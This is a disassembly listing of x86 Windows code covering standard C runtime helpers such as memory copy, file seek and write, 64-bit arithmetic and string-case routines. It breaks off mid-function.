; =============== S U B R O U T I N E =======================================
sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep
; sub_422DB0+40p
push ebx
push ecx
mov ebx, offset dword_43AE3C
jmp short loc_41D630
sub_41D61D endp
; =============== S U B R O U T I N E =======================================
sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp
; sub_423CC0+78p
push ebx
push ecx
mov ebx, offset dword_43AE3C
mov ecx, [ebp+8]
loc_41D630: ; CODE XREF: sub_41D61D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D626 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D640 proc near ; CODE XREF: sub_40D340+5p
; sub_40D4E2+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D640 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D65F proc near ; CODE XREF: sub_40D977+26p
; .packed:004260F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41BA91
pop ecx
retn
sub_41D65F endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap
; sub_41E742+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D690
cmp edi, eax
jb loc_41D808
loc_41D690: ; CODE XREF: sub_41D670+16j
test edi, 3
jnz short loc_41D6AC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
loc_41D6AC: ; CODE XREF: sub_41D670+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D6C4
and eax, 3
add ecx, eax
jmp dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D6C4: ; CODE XREF: sub_41D670+46j
jmp dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6CC: ; CODE XREF: sub_41D670+31j
; sub_41D670+8Ej ...
jmp off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D6E0
dd offset loc_41D70C
dd offset loc_41D730
; ---------------------------------------------------------------------------
loc_41D6E0: ; DATA XREF: sub_41D670+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D70C: ; DATA XREF: sub_41D670+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D730: ; DATA XREF: sub_41D670+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D6CC
rep movsd
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr
dd offset loc_41D79C
dd offset loc_41D794
dd offset loc_41D78C
dd offset loc_41D784
dd offset loc_41D77C
dd offset loc_41D774
dd offset loc_41D76C
; ---------------------------------------------------------------------------
loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj
; DATA XREF: sub_41D670:off_41D74Co
jmp off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r
; sub_41D670+92r ...
dd offset loc_41D7D0
dd offset loc_41D7DC
dd offset loc_41D7F0
; ---------------------------------------------------------------------------
loc_41D7C8: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7D0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D7DC: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D7F0: ; CODE XREF: sub_41D670+35j
; sub_41D670+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D808: ; CODE XREF: sub_41D670+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D83C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D830: ; CODE XREF: sub_41D670+1B1j
; sub_41D670+208j ...
neg ecx
jmp off_41D900[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D670+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D854
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D854: ; CODE XREF: sub_41D670+1D6j
; DATA XREF: sub_41D670+1DDr
jmp off_41D950[ecx*4]
; ---------------------------------------------------------------------------
align 4
push 880041D8h
fadd dword ptr [ecx+0]
mov al, 0D8h
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D830
std
rep movsd
cld
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D904
dd offset loc_41D90C
dd offset loc_41D914
dd offset loc_41D91C
dd offset loc_41D924
dd offset loc_41D92C
dd offset loc_41D934
off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------
loc_41D904: ; DATA XREF: sub_41D670+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D90C: ; DATA XREF: sub_41D670+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D914: ; DATA XREF: sub_41D670+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D91C: ; DATA XREF: sub_41D670+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D924: ; DATA XREF: sub_41D670+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D92C: ; DATA XREF: sub_41D670+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D934: ; DATA XREF: sub_41D670+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D947: ; CODE XREF: sub_41D670+1C2j
; DATA XREF: sub_41D670:off_41D900o
jmp off_41D950[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r
; sub_41D670:loc_41D854r ...
dd offset loc_41D968
dd offset loc_41D978
dd offset loc_41D98C
; ---------------------------------------------------------------------------
loc_41D960: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D968: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D978: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D98C: ; CODE XREF: sub_41D670+1B7j
; sub_41D670:loc_41D854j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D670 endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p
; sub_40DA4F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p
arg_0 = dword ptr 4
push esi
push dword_4DD3BC
call sub_422EA8
mov edx, dword_4DD3BC
pop ecx
mov ecx, dword_4DD3B8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41DA12
push edx
call sub_422EA8
add eax, 10h
push eax
push dword_4DD3BC
call sub_41BBE2
add esp, 0Ch
test eax, eax
jnz short loc_41D9F5
retn
; ---------------------------------------------------------------------------
loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj
mov ecx, dword_4DD3B8
sub ecx, dword_4DD3BC
mov dword_4DD3BC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DD3B8, ecx
loc_41DA12: ; CODE XREF: sub_41D9B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DD3B8, 4
retn
sub_41D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D9B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41DA20 endp
; =============== S U B R O U T I N E =======================================
sub_41DA32 proc near ; DATA XREF: .packed:00429018o
push 80h
call sub_41BEB5
test eax, eax
pop ecx
mov dword_4DD3BC, eax
jnz short loc_41DA53
push 18h
call sub_41E2C9
mov eax, dword_4DD3BC
pop ecx
loc_41DA53: ; CODE XREF: sub_41DA32+12j
and dword ptr [eax], 0
mov eax, dword_4DD3BC
mov dword_4DD3B8, eax
retn
sub_41DA32 endp
; =============== S U B R O U T I N E =======================================
sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap
; sub_40DB5E+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_41DA75
loc_41DA6D: ; CODE XREF: sub_41DA61+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_41DA6D
loc_41DA75: ; CODE XREF: sub_41DA61+Aj
mov edx, [esp+arg_4]
push esi
loc_41DA7A: ; CODE XREF: sub_41DA61+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_41DA7A
pop esi
retn
sub_41DA61 endp
; =============== S U B R O U T I N E =======================================
sub_41DA8B proc near ; CODE XREF: sub_412197+26Ep
; sub_412197+365p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB07
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_41DAAA
cmp edi, 1
jz short loc_41DAAA
cmp edi, 2
jnz short loc_41DB07
loc_41DAAA: ; CODE XREF: sub_41DA8B+13j
; sub_41DA8B+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41DAC1
push esi
call sub_422FA3
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_41DAC1: ; CODE XREF: sub_41DA8B+27j
push esi
call sub_41E42B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41DAD6
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD6: ; CODE XREF: sub_41DA8B+42j
test al, 1
jz short loc_41DAEA
test al, 8
jz short loc_41DAEA
test ah, 4
jnz short loc_41DAEA
mov dword ptr [esi+18h], 200h
loc_41DAEA: ; CODE XREF: sub_41DA8B+49j
; sub_41DA8B+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_422F09
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41DB14
; ---------------------------------------------------------------------------
loc_41DB07: ; CODE XREF: sub_41DA8B+Bj
; sub_41DA8B+1Dj
mov dword_4DBDEC, 16h
or eax, 0FFFFFFFFh
loc_41DB14: ; CODE XREF: sub_41DA8B+7Aj
pop edi
pop esi
retn
sub_41DA8B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep
; sub_4143F7+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41DB39
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: sub_41DB20+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41DB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB54 proc near ; CODE XREF: sub_416563+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41DB78
xor eax, eax
jmp loc_41DC45
; ---------------------------------------------------------------------------
loc_41DB78: ; CODE XREF: sub_41DB54+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41DB8B
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41DB92
; ---------------------------------------------------------------------------
loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj
mov [ebp+arg_C], 1000h
loc_41DB92: ; CODE XREF: sub_41DB54+35j
; sub_41DB54+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41DBC6
mov eax, [esi+4]
test eax, eax
jz short loc_41DBC6
cmp ebx, eax
mov edi, ebx
jb short loc_41DBAC
mov edi, eax
loc_41DBAC: ; CODE XREF: sub_41DB54+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41CD20
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41DC0C
; ---------------------------------------------------------------------------
loc_41DBC6: ; CODE XREF: sub_41DB54+47j
; sub_41DB54+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41DC11
test ecx, ecx
jz short loc_41DBDA
push esi
call sub_41E42B
test eax, eax
pop ecx
jnz short loc_41DC53
loc_41DBDA: ; CODE XREF: sub_41DB54+79j
cmp [ebp+arg_C], 0
jz short loc_41DBED
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41DBEF
; ---------------------------------------------------------------------------
loc_41DBED: ; CODE XREF: sub_41DB54+8Aj
mov edi, ebx
loc_41DBEF: ; CODE XREF: sub_41DB54+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41DC4A
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41DC4A
loc_41DC0C: ; CODE XREF: sub_41DB54+70j
mov edi, [ebp+var_4]
jmp short loc_41DC3A
; ---------------------------------------------------------------------------
loc_41DC11: ; CODE XREF: sub_41DB54+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41FE2A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC53
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41DC3A
mov [ebp+arg_C], 1
loc_41DC3A: ; CODE XREF: sub_41DB54+BBj
; sub_41DB54+DDj
test ebx, ebx
jnz loc_41DB92
mov eax, [ebp+arg_8]
loc_41DC45: ; CODE XREF: sub_41DB54+1Fj
; sub_41DB54+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41DC4A: ; CODE XREF: sub_41DB54+ADj
; sub_41DB54+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41DC55
; ---------------------------------------------------------------------------
loc_41DC53: ; CODE XREF: sub_41DB54+84j
; sub_41DB54+CFj
mov eax, edi
loc_41DC55: ; CODE XREF: sub_41DB54+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41DC45
sub_41DB54 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_41DC7E
call dword_427094 ; RtlGetLastWin32Error
push eax
call sub_420C7F
pop ecx
loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj
test al, 1
jz short loc_41DC9F
test [esp+arg_4], 2
jz short loc_41DC9F
mov dword_4DBDEC, 0Dh
mov dword_4DBDF0, 5
jmp short loc_41DC7A
; ---------------------------------------------------------------------------
loc_41DC9F: ; CODE XREF: sub_41DC5E+22j
; sub_41DC5E+29j
xor eax, eax
retn
sub_41DC5E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp
; sub_41AED9+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41DCD2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DD13
; ---------------------------------------------------------------------------
loc_41DCD2: ; CODE XREF: sub_41DCB0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DCE0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41DD0E
cmp edx, [esp+8+arg_4]
ja short loc_41DD0E
jb short loc_41DD0F
cmp eax, [esp+8+arg_0]
jbe short loc_41DD0F
loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej
; sub_41DCB0+54j
dec esi
loc_41DD0F: ; CODE XREF: sub_41DCB0+56j
; sub_41DCB0+5Cj
xor edx, edx
mov eax, esi
loc_41DD13: ; CODE XREF: sub_41DCB0+20j
pop esi
pop ebx
retn 10h
sub_41DCB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp
; sub_41AED9+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41DD41
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD41: ; CODE XREF: sub_41DD20+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41DD4F: ; CODE XREF: sub_41DD20+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41DD4F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41DD7A
cmp edx, [esp+4+arg_4]
ja short loc_41DD7A
jb short loc_41DD82
cmp eax, [esp+4+arg_0]
jbe short loc_41DD82
loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj
; sub_41DD20+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41DD82: ; CODE XREF: sub_41DD20+52j
; sub_41DD20+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41DD91: ; CODE XREF: sub_41DD20+1Fj
pop ebx
retn 10h
sub_41DD20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp
; sub_416DD9+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41DDC1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41DDDD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41DDDD: ; CODE XREF: sub_41DDA0+27j
or eax, eax
jnz short loc_41DDF9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41DE3A
; ---------------------------------------------------------------------------
loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41DE07: ; CODE XREF: sub_41DDA0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41DE07
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41DE35
cmp edx, [esp+0Ch+arg_4]
ja short loc_41DE35
jb short loc_41DE36
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41DE36
loc_41DE35: ; CODE XREF: sub_41DDA0+85j
; sub_41DDA0+8Bj
dec esi
loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj
; sub_41DDA0+93j
xor edx, edx
mov eax, esi
loc_41DE3A: ; CODE XREF: sub_41DDA0+57j
dec edi
jnz short loc_41DE44
neg edx
neg eax
sbb edx, 0
loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41DDA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE4A proc near ; CODE XREF: sub_417493+BFp
; sub_417493+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DBE94
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41DE7E
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41DEE5
loc_41DE66: ; CODE XREF: sub_41DE4A+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41DE77
cmp cl, 7Ah
jg short loc_41DE77
sub cl, 20h
mov [edx], cl
loc_41DE77: ; CODE XREF: sub_41DE4A+21j
; sub_41DE4A+26j
inc edx
cmp [edx], bl
jnz short loc_41DE66
jmp short loc_41DEE5
; ---------------------------------------------------------------------------
loc_41DE7E: ; CODE XREF: sub_41DE4A+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_4232A8
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41DED7
push edi
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41DED7
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DBE94
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_41DED7
push [ebp+var_4]
push [ebp+arg_0]
call sub_41C890
pop ecx
pop ecx
loc_41DED7: ; CODE XREF: sub_41DE4A+53j
; sub_41DE4A+61j ...
push [ebp+var_4]
call sub_41BA91
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41DEE5: ; CODE XREF: sub_41DE4A+1Aj
; sub_41DE4A+32j
pop ebx
leave
retn
sub_41DE4A endp
; =============== S U B R O U T I N E =======================================
sub_41DEE8 proc near ; CODE XREF: sub_417E84+1A8p
arg_0 = dword ptr 4
cmp dword_43D094, 1
jle short loc_41DEFF
push 4
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DEFF: ; CODE XREF: sub_41DEE8+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE88
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41DEE8 endp
; =============== S U B R O U T I N E =======================================
sub_41DF10 proc near ; CODE XREF: sub_420DB0+76p
; sub_420DB0+88p ...
arg_0 = dword ptr 4
cmp dword_43D094, 1
jle short loc_41DF27
push 8
push [esp+4+arg_0]
call sub_41FDB5
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41DF27: ; CODE XREF: sub_41DF10+7j
mov eax, [esp+arg_0]
mov ecx, off_43CE88
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41DF10 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41DF40 proc near ; CODE XREF: sub_418295+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41DF8C
